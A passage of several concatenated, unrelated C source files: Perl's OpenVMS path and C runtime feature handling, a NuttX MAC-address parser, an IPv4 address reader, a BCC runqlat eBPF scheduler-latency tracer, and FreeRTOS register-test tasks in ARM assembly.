char * tchar;
tchar = strrchr(filespec, '/');
if (tchar != NULL) {
int dir_len = tchar - filespec;
memcpy(dir_name, filespec, dir_len);
dir_name[dir_len] = '\0';
file_name = (char *) &filespec[dir_len + 1];
}
}
/* Dir name is defaulted */
if (dir_name[0] == 0) {
dir_name[0] = '.';
dir_name[1] = '\0';
}
/* Need realpath for the directory */
sts = vms_fid_to_name(vms_dir_name,
VMS_MAXRSS + 1,
dir_name, 0, NULL);
if (sts == 0) {
/* Now need to pathify it. */
char *tdir = int_pathify_dirspec(vms_dir_name,
outbuf);
/* And now add the original filespec to it */
if (file_name != NULL) {
my_strlcat(outbuf, file_name, VMS_MAXRSS);
}
return outbuf;
}
Safefree(vms_dir_name);
Safefree(dir_name);
}
}
}
Safefree(vms_spec);
}
return rslt;
}
static char *
mp_do_vms_realname(pTHX_ const char *filespec, char *outbuf,
int *utf8_fl)
{
char * v_spec, * r_spec, * d_spec, * n_spec, * e_spec, * vs_spec;
int sts, v_len, r_len, d_len, n_len, e_len, vs_len;
/* Fall back to fid_to_name */
sts = vms_fid_to_name(outbuf, VMS_MAXRSS + 1, filespec, 0, NULL);
if (sts != 0) {
return NULL;
}
else {
/* Now need to trim the version off */
sts = vms_split_path
(outbuf,
&v_spec,
&v_len,
&r_spec,
&r_len,
&d_spec,
&d_len,
&n_spec,
&n_len,
&e_spec,
&e_len,
&vs_spec,
&vs_len);
if (sts == 0) {
int haslower = 0;
const char *cp;
/* Trim off the version */
int file_len = v_len + r_len + d_len + n_len + e_len;
outbuf[file_len] = 0;
/* Downcase if input had any lower case letters and
* case preservation is not in effect.
*/
if (!DECC_EFS_CASE_PRESERVE) {
for (cp = filespec; *cp; cp++)
if (islower(*cp)) { haslower = 1; break; }
if (haslower) __mystrtolower(outbuf);
}
}
}
return outbuf;
}
/*}}}*/
/* External entry points */
char *
Perl_vms_realpath(pTHX_ const char *filespec, char *outbuf, int *utf8_fl)
{
return do_vms_realpath(filespec, outbuf, utf8_fl);
}
char *
Perl_vms_realname(pTHX_ const char *filespec, char *outbuf, int *utf8_fl)
{
return do_vms_realname(filespec, outbuf, utf8_fl);
}
/* case_tolerant */
/*{{{int do_vms_case_tolerant(void)*/
/* OpenVMS provides a case sensitive implementation of ODS-5 and this is
* controlled by a process setting.
*/
int
do_vms_case_tolerant(void)
{
return vms_process_case_tolerant;
}
/*}}}*/
/* External entry points */
int
Perl_vms_case_tolerant(void)
{
return do_vms_case_tolerant();
}
/* Start of DECC RTL Feature handling */
static int
set_feature_default(const char *name, int value)
{
int status;
int index;
char val_str[10];
/* If the feature has been explicitly disabled in the environment,
* then don't enable it here.
*/
if (value > 0) {
status = simple_trnlnm(name, val_str, sizeof(val_str));
if (status) {
val_str[0] = toUPPER_A(val_str[0]);
if (val_str[0] == 'D' || val_str[0] == '0' || val_str[0] == 'F')
return 0;
}
}
index = decc$feature_get_index(name);
status = decc$feature_set_value(index, 1, value);
if (index == -1 || (status == -1)) {
return -1;
}
status = decc$feature_get_value(index, 1);
if (status != value) {
return -1;
}
/* Various things may check for an environment setting
* rather than the feature directly, so set that too.
*/
vmssetuserlnm(name, value ? "ENABLE" : "DISABLE");
return 0;
}
/* C RTL Feature settings */
#if defined(__DECC) || defined(__DECCXX)
#ifdef __cplusplus
extern "C" {
#endif
extern void
vmsperl_set_features(void)
{
int status, initial;
int s;
char val_str[LNM$C_NAMLENGTH+1];
#if defined(JPI$_CASE_LOOKUP_PERM)
const unsigned long int jpicode1 = JPI$_CASE_LOOKUP_PERM;
const unsigned long int jpicode2 = JPI$_CASE_LOOKUP_IMAGE;
unsigned long case_perm;
unsigned long case_image;
#endif
/* Allow an exception to bring Perl into the VMS debugger */
vms_debug_on_exception = 0;
status = simple_trnlnm("PERL_VMS_EXCEPTION_DEBUG", val_str, sizeof(val_str));
if (status) {
val_str[0] = toUPPER_A(val_str[0]);
if ((val_str[0] == 'E') || (val_str[0] == '1') || (val_str[0] == 'T'))
vms_debug_on_exception = 1;
else
vms_debug_on_exception = 0;
}
/* Debug unix/vms file translation routines */
vms_debug_fileify = 0;
status = simple_trnlnm("PERL_VMS_FILEIFY_DEBUG", val_str, sizeof(val_str));
if (status) {
val_str[0] = toUPPER_A(val_str[0]);
if ((val_str[0] == 'E') || (val_str[0] == '1') || (val_str[0] == 'T'))
vms_debug_fileify = 1;
else
vms_debug_fileify = 0;
}
/* Historically PERL has been doing vmsify / stat differently than */
/* the CRTL. In particular, under some conditions the CRTL will */
/* remove some illegal characters like spaces from filenames */
/* resulting in some differences. The stat()/lstat() wrapper has */
/* been reporting such file names as invalid and fails to stat them */
/* fixing this bug so that stat()/lstat() accept these like the */
/* CRTL does will result in several tests failing. */
/* This should really be fixed, but for now, set up a feature to */
/* enable it so that the impact can be studied. */
vms_bug_stat_filename = 0;
status = simple_trnlnm("PERL_VMS_BUG_STAT_FILENAME", val_str, sizeof(val_str));
if (status) {
val_str[0] = toUPPER_A(val_str[0]);
if ((val_str[0] == 'E') || (val_str[0] == '1') || (val_str[0] == 'T'))
vms_bug_stat_filename = 1;
else
vms_bug_stat_filename = 0;
}
/* Create VTF-7 filenames from Unicode instead of UTF-8 */
vms_vtf7_filenames = 0;
status = simple_trnlnm("PERL_VMS_VTF7_FILENAMES", val_str, sizeof(val_str));
if (status) {
val_str[0] = toUPPER_A(val_str[0]);
if ((val_str[0] == 'E') || (val_str[0] == '1') || (val_str[0] == 'T'))
vms_vtf7_filenames = 1;
else
vms_vtf7_filenames = 0;
}
/* unlink all versions on unlink() or rename() */
vms_unlink_all_versions = 0;
status = simple_trnlnm("PERL_VMS_UNLINK_ALL_VERSIONS", val_str, sizeof(val_str));
if (status) {
val_str[0] = toUPPER_A(val_str[0]);
if ((val_str[0] == 'E') || (val_str[0] == '1') || (val_str[0] == 'T'))
vms_unlink_all_versions = 1;
else
vms_unlink_all_versions = 0;
}
/* The path separator in PERL5LIB is '|' unless running under a Unix shell. */
PL_perllib_sep = '|';
/* Detect running under GNV Bash or other UNIX like shell */
gnv_unix_shell = 0;
status = simple_trnlnm("GNV$UNIX_SHELL", val_str, sizeof(val_str));
if (status) {
gnv_unix_shell = 1;
set_feature_default("DECC$FILENAME_UNIX_NO_VERSION", 1);
set_feature_default("DECC$FILENAME_UNIX_REPORT", 1);
set_feature_default("DECC$READDIR_DROPDOTNOTYPE", 1);
set_feature_default("DECC$DISABLE_POSIX_ROOT", 0);
vms_unlink_all_versions = 1;
vms_posix_exit = 1;
/* Reverse default ordering of PERL_ENV_TABLES. */
defenv[0] = &crtlenvdsc;
defenv[1] = &fildevdsc;
PL_perllib_sep = ':';
}
/* Some reasonable defaults that are not CRTL defaults */
set_feature_default("DECC$EFS_CASE_PRESERVE", 1);
set_feature_default("DECC$ARGV_PARSE_STYLE", 1); /* Requires extended parse. */
set_feature_default("DECC$EFS_CHARSET", 1);
/* If POSIX root doesn't exist or nothing has set it explicitly, we disable it,
* which confusingly means enabling the feature. For some reason only the default
* -- not current -- value can be set, so we cannot use the confusingly-named
* set_feature_default function, which sets the current value.
*/
s = decc$feature_get_index("DECC$DISABLE_POSIX_ROOT");
disable_posix_root_index = s;
status = simple_trnlnm("SYS$POSIX_ROOT", val_str, LNM$C_NAMLENGTH);
initial = decc$feature_get_value(disable_posix_root_index, __FEATURE_MODE_INIT_STATE);
if (!status || !initial) {
decc$feature_set_value(disable_posix_root_index, 0, 1);
}
/* hacks to see if known bugs are still present for testing */
/* PCP mode requires creating /dev/null special device file */
decc_bug_devnull = 0;
status = simple_trnlnm("DECC_BUG_DEVNULL", val_str, sizeof(val_str));
if (status) {
val_str[0] = toUPPER_A(val_str[0]);
if ((val_str[0] == 'E') || (val_str[0] == '1') || (val_str[0] == 'T'))
decc_bug_devnull = 1;
else
decc_bug_devnull = 0;
}
s = decc$feature_get_index("DECC$DISABLE_TO_VMS_LOGNAME_TRANSLATION");
disable_to_vms_logname_translation_index = s;
s = decc$feature_get_index("DECC$EFS_CASE_PRESERVE");
efs_case_preserve_index = s;
s = decc$feature_get_index("DECC$EFS_CHARSET");
efs_charset_index = s;
s = decc$feature_get_index("DECC$FILENAME_UNIX_REPORT");
filename_unix_report_index = s;
s = decc$feature_get_index("DECC$FILENAME_UNIX_ONLY");
filename_unix_only_index = s;
s = decc$feature_get_index("DECC$FILENAME_UNIX_NO_VERSION");
filename_unix_no_version_index = s;
s = decc$feature_get_index("DECC$READDIR_DROPDOTNOTYPE");
readdir_dropdotnotype_index = s;
#if __CRTL_VER >= 80200000
s = decc$feature_get_index("DECC$POSIX_COMPLIANT_PATHNAMES");
posix_compliant_pathnames_index = s;
#endif
#if defined(JPI$_CASE_LOOKUP_PERM) && defined(PPROP$K_CASE_BLIND)
/* Report true case tolerance */
/*----------------------------*/
status = lib$getjpi(&jpicode1, 0, 0, &case_perm, 0, 0);
if (!$VMS_STATUS_SUCCESS(status))
case_perm = PPROP$K_CASE_BLIND;
status = lib$getjpi(&jpicode2, 0, 0, &case_image, 0, 0);
if (!$VMS_STATUS_SUCCESS(status))
case_image = PPROP$K_CASE_BLIND;
if ((case_perm == PPROP$K_CASE_SENSITIVE) ||
(case_image == PPROP$K_CASE_SENSITIVE))
vms_process_case_tolerant = 0;
#endif
/* USE POSIX/DCL Exit codes - Recommended, but needs to default to */
/* for strict backward compatibility */
status = simple_trnlnm("PERL_VMS_POSIX_EXIT", val_str, sizeof(val_str));
if (status) {
val_str[0] = toUPPER_A(val_str[0]);
if ((val_str[0] == 'E') || (val_str[0] == '1') || (val_str[0] == 'T'))
vms_posix_exit = 1;
else
vms_posix_exit = 0;
}
}
/* Use 32-bit pointers because that's what the image activator
* assumes for the LIB$INITIALZE psect.
*/
#if __INITIAL_POINTER_SIZE
#pragma pointer_size save
#pragma pointer_size 32
#endif
/* Create a reference to the LIB$INITIALIZE function. */
extern void LIB$INITIALIZE(void);
extern void (*vmsperl_unused_global_1)(void) = LIB$INITIALIZE;
/* Create an array of pointers to the init functions in the special
* LIB$INITIALIZE section. In our case, the array only has one entry.
*/
#pragma extern_model save
#pragma extern_model strict_refdef "LIB$INITIALIZE" nopic,gbl,nowrt,noshr,long
extern void (* const vmsperl_unused_global_2[])() =
{
vmsperl_set_features,
};
#pragma extern_model restore
#if __INITIAL_POINTER_SIZE
#pragma pointer_size restore
#endif
#ifdef __cplusplus
}
#endif
#endif /* defined(__DECC) || defined(__DECCXX) */
/* End of vms.c */
|
442640.c | /****************************************************************************
* apps/netutils/netlib/netlib_ethaddrconv.c
* Various uIP library functions.
*
* Copyright (C) 2007, 2009, 2011, 2016 Gregory Nutt. All rights reserved.
* Author: Gregory Nutt <[email protected]>
*
* Based on uIP which also has a BSD style license:
*
* Author: Adam Dunkels <[email protected]>
* Copyright (c) 2004, Adam Dunkels and the Swedish Institute of
* Computer Science.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote
* products derived from this software without specific prior
* written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
****************************************************************************/
/****************************************************************************
* Included Files
****************************************************************************/
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include "netutils/netlib.h"
/****************************************************************************
* Public Functions
****************************************************************************/
/****************************************************************************
* Name: netlib_ethaddrconv
****************************************************************************/
bool netlib_ethaddrconv(FAR const char *hwstr, FAR uint8_t *hw)
{
unsigned char tmp;
unsigned char i;
unsigned char j;
char ch;
if (strlen(hwstr) != 17)
{
return false;
}
tmp = 0;
for (i = 0; i < 6; ++i)
{
j = 0;
do
{
ch = *hwstr++;
if (++j > 3)
{
return false;
}
if (ch == ':' || ch == 0)
{
*hw++ = tmp;
tmp = 0;
}
else if (ch >= '0' && ch <= '9')
{
tmp = (tmp << 4) + (ch - '0');
}
else if (ch >= 'a' && ch <= 'f')
{
tmp = (tmp << 4) + (ch - 'a' + 10);
}
else if (ch >= 'A' && ch <= 'F')
{
tmp = (tmp << 4) + (ch - 'A' + 10);
}
else
{
return false;
}
}
while (ch != ':' && ch != 0);
}
return true;
}
|
465106.c | /*====================================================================*
*
* char *getIPv4 (char buffer[], size_t length, FILE *fp);
*
* IPAddr.h
*
* read stdin and write stdout; print an ordered slist of dotted
* decimal IPv4 addresses with optional counts;
*
*. Motley Tools by Charles Maier
*: Published 1982-2005 by Charles Maier for personal use
*; Licensed under the Internet Software Consortium License
*% Packaged as cmassoc-tools-1.4.2 by [email protected];
*
*--------------------------------------------------------------------*/
#ifndef GETIPV4_SOURCE
#define GETIPV4_SOURCE
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include "../ether/IPAddr.h"
char * getIPv4 (char buffer [], size_t length, FILE * fp)
{
signed c;
while ((c = getc (fp)) != EOF)
{
if (isdigit (c))
{
char *sp = buffer;
while (isdigit (c) || ((char)(c) == IP_ADDR_EXTENDER))
{
if ((size_t)(sp - buffer) < length)
{
*sp++ = (char) (c);
}
c = getc (fp);
}
*sp = (char) (0);
ungetc (c, fp);
if (isIPv4 (buffer))
{
return (buffer);
}
}
}
return ((char *)(0));
}
#endif
|
263678.c | // SPDX-License-Identifier: GPL-2.0
// Copyright (c) 2020 Wenbo Zhang
#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_tracing.h>
#include "runqlat.h"
#include "bits.bpf.h"
#include "maps.bpf.h"
#include "core_fixes.bpf.h"
#define MAX_ENTRIES 10240
#define TASK_RUNNING 0
const volatile bool targ_per_process = false;
const volatile bool targ_per_thread = false;
const volatile bool targ_per_pidns = false;
const volatile bool targ_ms = false;
const volatile pid_t targ_tgid = 0;
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, u32);
__type(value, u64);
} start SEC(".maps");
static struct hist zero;
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, u32);
__type(value, struct hist);
} hists SEC(".maps");
static __always_inline
int trace_enqueue(u32 tgid, u32 pid)
{
u64 ts;
if (!pid)
return 0;
if (targ_tgid && targ_tgid != tgid)
return 0;
ts = bpf_ktime_get_ns();
bpf_map_update_elem(&start, &pid, &ts, 0);
return 0;
}
static __always_inline unsigned int pid_namespace(struct task_struct *task)
{
struct pid *pid;
unsigned int level;
struct upid upid;
unsigned int inum;
/* get the pid namespace by following task_active_pid_ns(),
* pid->numbers[pid->level].ns
*/
pid = BPF_CORE_READ(task, thread_pid);
level = BPF_CORE_READ(pid, level);
bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]);
inum = BPF_CORE_READ(upid.ns, ns.inum);
return inum;
}
SEC("tp_btf/sched_wakeup")
int BPF_PROG(sched_wakeup, struct task_struct *p)
{
return trace_enqueue(p->tgid, p->pid);
}
SEC("tp_btf/sched_wakeup_new")
int BPF_PROG(sched_wakeup_new, struct task_struct *p)
{
return trace_enqueue(p->tgid, p->pid);
}
SEC("tp_btf/sched_switch")
int BPF_PROG(sched_swith, bool preempt, struct task_struct *prev,
struct task_struct *next)
{
struct hist *histp;
u64 *tsp, slot;
u32 pid, hkey;
s64 delta;
if (get_task_state(prev) == TASK_RUNNING)
trace_enqueue(prev->tgid, prev->pid);
pid = next->pid;
tsp = bpf_map_lookup_elem(&start, &pid);
if (!tsp)
return 0;
delta = bpf_ktime_get_ns() - *tsp;
if (delta < 0)
goto cleanup;
if (targ_per_process)
hkey = next->tgid;
else if (targ_per_thread)
hkey = pid;
else if (targ_per_pidns)
hkey = pid_namespace(next);
else
hkey = -1;
histp = bpf_map_lookup_or_try_init(&hists, &hkey, &zero);
if (!histp)
goto cleanup;
if (!histp->comm[0])
bpf_probe_read_kernel_str(&histp->comm, sizeof(histp->comm),
next->comm);
if (targ_ms)
delta /= 1000000U;
else
delta /= 1000U;
slot = log2l(delta);
if (slot >= MAX_SLOTS)
slot = MAX_SLOTS - 1;
__sync_fetch_and_add(&histp->slots[slot], 1);
cleanup:
bpf_map_delete_elem(&start, &pid);
return 0;
}
char LICENSE[] SEC("license") = "GPL";
|
928632.c | /*
* FreeRTOS Kernel V10.3.0
* Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
* the Software, and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* http://www.FreeRTOS.org
* http://aws.amazon.com/freertos
*
* 1 tab == 4 spaces!
*/
/* FreeRTOS includes. */
#include "FreeRTOS.h"
#include "queue.h"
/*
* "Reg test" tasks - These fill the registers with known values, then check
* that each register maintains its expected value for the lifetime of the
* task. Each task uses a different set of values. The reg test tasks execute
* with a very low priority, so get preempted very frequently. A register
* containing an unexpected value is indicative of an error in the context
* switching mechanism.
*/
void vRegTest1Implementation( void *pvParameters );
void vRegTest2Implementation( void *pvParameters );
void vRegTest3Implementation( void ) __attribute__ ((naked));
void vRegTest4Implementation( void ) __attribute__ ((naked));
/*
* Used as an easy way of deleting a task from inline assembly.
*/
extern void vMainDeleteMe( void ) __attribute__((noinline));
/*
* Used by the first two reg test tasks and a software timer callback function
* to send messages to the check task. The message just lets the check task
* know that the tasks and timer are still functioning correctly. If a reg test
* task detects an error it will delete itself, and in so doing prevent itself
* from sending any more 'I'm Alive' messages to the check task.
*/
extern void vMainSendImAlive( QueueHandle_t xHandle, uint32_t ulTaskNumber );
/* The queue used to send a message to the check task. */
extern QueueHandle_t xGlobalScopeCheckQueue;
/*-----------------------------------------------------------*/
void vRegTest1Implementation( void *pvParameters )
{
/* This task is created in privileged mode so can access the file scope
queue variable. Take a stack copy of this before the task is set into user
mode. Once this task is in user mode the file scope queue variable will no
longer be accessible but the stack copy will. */
QueueHandle_t xQueue = xGlobalScopeCheckQueue;
/* Now the queue handle has been obtained the task can switch to user
mode. This is just one method of passing a handle into a protected
task, the other reg test task uses the task parameter instead. */
portSWITCH_TO_USER_MODE();
/* First check that the parameter value is as expected. */
if( pvParameters != ( void * ) configREG_TEST_TASK_1_PARAMETER )
{
/* Error detected. Delete the task so it stops communicating with
the check task. */
vMainDeleteMe();
}
for( ;; )
{
/* This task tests the kernel context switch mechanism by reading and
writing directly to registers - which requires the test to be written
in assembly code. */
__asm volatile
(
" MOV R4, #104 \n" /* Set registers to a known value. R0 to R1 are done in the loop below. */
" MOV R5, #105 \n"
" MOV R6, #106 \n"
" MOV R8, #108 \n"
" MOV R9, #109 \n"
" MOV R10, #110 \n"
" MOV R11, #111 \n"
"reg1loop: \n"
" MOV R0, #100 \n" /* Set the scratch registers to known values - done inside the loop as they get clobbered. */
" MOV R1, #101 \n"
" MOV R2, #102 \n"
" MOV R3, #103 \n"
" MOV R12, #112 \n"
" SVC #1 \n" /* Yield just to increase test coverage. */
" CMP R0, #100 \n" /* Check all the registers still contain their expected values. */
" BNE vMainDeleteMe \n" /* Value was not as expected, delete the task so it stops communicating with the check task. */
" CMP R1, #101 \n"
" BNE vMainDeleteMe \n"
" CMP R2, #102 \n"
" BNE vMainDeleteMe \n"
" CMP R3, #103 \n"
" BNE vMainDeleteMe \n"
" CMP R4, #104 \n"
" BNE vMainDeleteMe \n"
" CMP R5, #105 \n"
" BNE vMainDeleteMe \n"
" CMP R6, #106 \n"
" BNE vMainDeleteMe \n"
" CMP R8, #108 \n"
" BNE vMainDeleteMe \n"
" CMP R9, #109 \n"
" BNE vMainDeleteMe \n"
" CMP R10, #110 \n"
" BNE vMainDeleteMe \n"
" CMP R11, #111 \n"
" BNE vMainDeleteMe \n"
" CMP R12, #112 \n"
" BNE vMainDeleteMe \n"
:::"r0", "r1", "r2", "r3", "r4", "r5", "r6", "r8", "r9", "r10", "r11", "r12"
);
/* Send configREG_TEST_1_STILL_EXECUTING to the check task to indicate that this
task is still functioning. */
vMainSendImAlive( xQueue, configREG_TEST_1_STILL_EXECUTING );
/* Go back to check all the register values again. */
__asm volatile( " B reg1loop " );
}
}
/*-----------------------------------------------------------*/
void vRegTest2Implementation( void *pvParameters )
{
/* The queue handle is passed in as the task parameter. This is one method of
passing data into a protected task, the other reg test task uses a different
method. */
QueueHandle_t xQueue = ( QueueHandle_t ) pvParameters;
for( ;; )
{
/* This task tests the kernel context switch mechanism by reading and
writing directly to registers - which requires the test to be written
in assembly code. */
__asm volatile
(
" MOV R4, #4 \n" /* Set registers to a known value. R0 to R1 are done in the loop below. */
" MOV R5, #5 \n"
" MOV R6, #6 \n"
" MOV R8, #8 \n" /* Frame pointer is omitted as it must not be changed. */
" MOV R9, #9 \n"
" MOV R10, 10 \n"
" MOV R11, #11 \n"
"reg2loop: \n"
" MOV R0, #13 \n" /* Set the scratch registers to known values - done inside the loop as they get clobbered. */
" MOV R1, #1 \n"
" MOV R2, #2 \n"
" MOV R3, #3 \n"
" MOV R12, #12 \n"
" CMP R0, #13 \n" /* Check all the registers still contain their expected values. */
" BNE vMainDeleteMe \n" /* Value was not as expected, delete the task so it stops communicating with the check task */
" CMP R1, #1 \n"
" BNE vMainDeleteMe \n"
" CMP R2, #2 \n"
" BNE vMainDeleteMe \n"
" CMP R3, #3 \n"
" BNE vMainDeleteMe \n"
" CMP R4, #4 \n"
" BNE vMainDeleteMe \n"
" CMP R5, #5 \n"
" BNE vMainDeleteMe \n"
" CMP R6, #6 \n"
" BNE vMainDeleteMe \n"
" CMP R8, #8 \n"
" BNE vMainDeleteMe \n"
" CMP R9, #9 \n"
" BNE vMainDeleteMe \n"
" CMP R10, #10 \n"
" BNE vMainDeleteMe \n"
" CMP R11, #11 \n"
" BNE vMainDeleteMe \n"
" CMP R12, #12 \n"
" BNE vMainDeleteMe \n"
:::"r0", "r1", "r2", "r3", "r4", "r5", "r6", "r8", "r9", "r10", "r11", "r12"
);
/* Send configREG_TEST_2_STILL_EXECUTING to the check task to indicate that this
task is still functioning. */
vMainSendImAlive( xQueue, configREG_TEST_2_STILL_EXECUTING );
/* Go back to check all the register values again. */
__asm volatile( " B reg2loop " );
}
}
/*-----------------------------------------------------------*/
void vRegTest3Implementation( void )
{
__asm volatile
(
".extern pulRegTest3LoopCounter \n"
"/* Fill the core registers with known values. */ \n"
"mov r0, #100 \n"
"mov r1, #101 \n"
"mov r2, #102 \n"
"mov r3, #103 \n"
"mov r4, #104 \n"
"mov r5, #105 \n"
"mov r6, #106 \n"
"mov r7, #107 \n"
"mov r8, #108 \n"
"mov r9, #109 \n"
"mov r10, #110 \n"
"mov r11, #111 \n"
"mov r12, #112 \n"
"/* Fill the VFP registers with known values. */ \n"
"vmov d0, r0, r1 \n"
"vmov d1, r2, r3 \n"
"vmov d2, r4, r5 \n"
"vmov d3, r6, r7 \n"
"vmov d4, r8, r9 \n"
"vmov d5, r10, r11 \n"
"vmov d6, r0, r1 \n"
"vmov d7, r2, r3 \n"
"vmov d8, r4, r5 \n"
"vmov d9, r6, r7 \n"
"vmov d10, r8, r9 \n"
"vmov d11, r10, r11 \n"
"vmov d12, r0, r1 \n"
"vmov d13, r2, r3 \n"
"vmov d14, r4, r5 \n"
"vmov d15, r6, r7 \n"
"reg1_loop: \n"
"/* Check all the VFP registers still contain the values set above. \n"
"First save registers that are clobbered by the test. */ \n"
"push { r0-r1 } \n"
"vmov r0, r1, d0 \n"
"cmp r0, #100 \n"
"bne reg1_error_loopf \n"
"cmp r1, #101 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d1 \n"
"cmp r0, #102 \n"
"bne reg1_error_loopf \n"
"cmp r1, #103 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d2 \n"
"cmp r0, #104 \n"
"bne reg1_error_loopf \n"
"cmp r1, #105 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d3 \n"
"cmp r0, #106 \n"
"bne reg1_error_loopf \n"
"cmp r1, #107 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d4 \n"
"cmp r0, #108 \n"
"bne reg1_error_loopf \n"
"cmp r1, #109 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d5 \n"
"cmp r0, #110 \n"
"bne reg1_error_loopf \n"
"cmp r1, #111 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d6 \n"
"cmp r0, #100 \n"
"bne reg1_error_loopf \n"
"cmp r1, #101 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d7 \n"
"cmp r0, #102 \n"
"bne reg1_error_loopf \n"
"cmp r1, #103 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d8 \n"
"cmp r0, #104 \n"
"bne reg1_error_loopf \n"
"cmp r1, #105 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d9 \n"
"cmp r0, #106 \n"
"bne reg1_error_loopf \n"
"cmp r1, #107 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d10 \n"
"cmp r0, #108 \n"
"bne reg1_error_loopf \n"
"cmp r1, #109 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d11 \n"
"cmp r0, #110 \n"
"bne reg1_error_loopf \n"
"cmp r1, #111 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d12 \n"
"cmp r0, #100 \n"
"bne reg1_error_loopf \n"
"cmp r1, #101 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d13 \n"
"cmp r0, #102 \n"
"bne reg1_error_loopf \n"
"cmp r1, #103 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d14 \n"
"cmp r0, #104 \n"
"bne reg1_error_loopf \n"
"cmp r1, #105 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d15 \n"
"cmp r0, #106 \n"
"bne reg1_error_loopf \n"
"cmp r1, #107 \n"
"bne reg1_error_loopf \n"
"/* Restore the registers that were clobbered by the test. */ \n"
"pop {r0-r1} \n"
"/* VFP register test passed. Jump to the core register test. */ \n"
"b reg1_loopf_pass \n"
"reg1_error_loopf: \n"
"/* If this line is hit then a VFP register value was found to be incorrect. */ \n"
"b reg1_error_loopf \n"
"reg1_loopf_pass: \n"
"cmp r0, #100 \n"
"bne reg1_error_loop \n"
"cmp r1, #101 \n"
"bne reg1_error_loop \n"
"cmp r2, #102 \n"
"bne reg1_error_loop \n"
"cmp r3, #103 \n"
"bne reg1_error_loop \n"
"cmp r4, #104 \n"
"bne reg1_error_loop \n"
"cmp r5, #105 \n"
"bne reg1_error_loop \n"
"cmp r6, #106 \n"
"bne reg1_error_loop \n"
"cmp r7, #107 \n"
"bne reg1_error_loop \n"
"cmp r8, #108 \n"
"bne reg1_error_loop \n"
"cmp r9, #109 \n"
"bne reg1_error_loop \n"
"cmp r10, #110 \n"
"bne reg1_error_loop \n"
"cmp r11, #111 \n"
"bne reg1_error_loop \n"
"cmp r12, #112 \n"
"bne reg1_error_loop \n"
"/* Everything passed, increment the loop counter. */ \n"
"push { r0-r1 } \n"
"ldr r0, =pulRegTest3LoopCounter \n"
"ldr r0, [r0] \n"
"ldr r1, [r0] \n"
"adds r1, r1, #1 \n"
"str r1, [r0] \n"
"pop { r0-r1 } \n"
"/* Start again. */ \n"
"b reg1_loop \n"
"reg1_error_loop: \n"
"/* If this line is hit then there was an error in a core register value. \n"
"The loop ensures the loop counter stops incrementing. */ \n"
"b reg1_error_loop \n"
"nop "
); /* __asm volatile. */
}
/*-----------------------------------------------------------*/
void vRegTest4Implementation( void )
{
__asm volatile
(
".extern pulRegTest4LoopCounter \n"
"/* Set all the core registers to known values. */ \n"
"mov r0, #-1 \n"
"mov r1, #1 \n"
"mov r2, #2 \n"
"mov r3, #3 \n"
"mov r4, #4 \n"
"mov r5, #5 \n"
"mov r6, #6 \n"
"mov r7, #7 \n"
"mov r8, #8 \n"
"mov r9, #9 \n"
"mov r10, #10 \n"
"mov r11, #11 \n"
"mov r12, #12 \n"
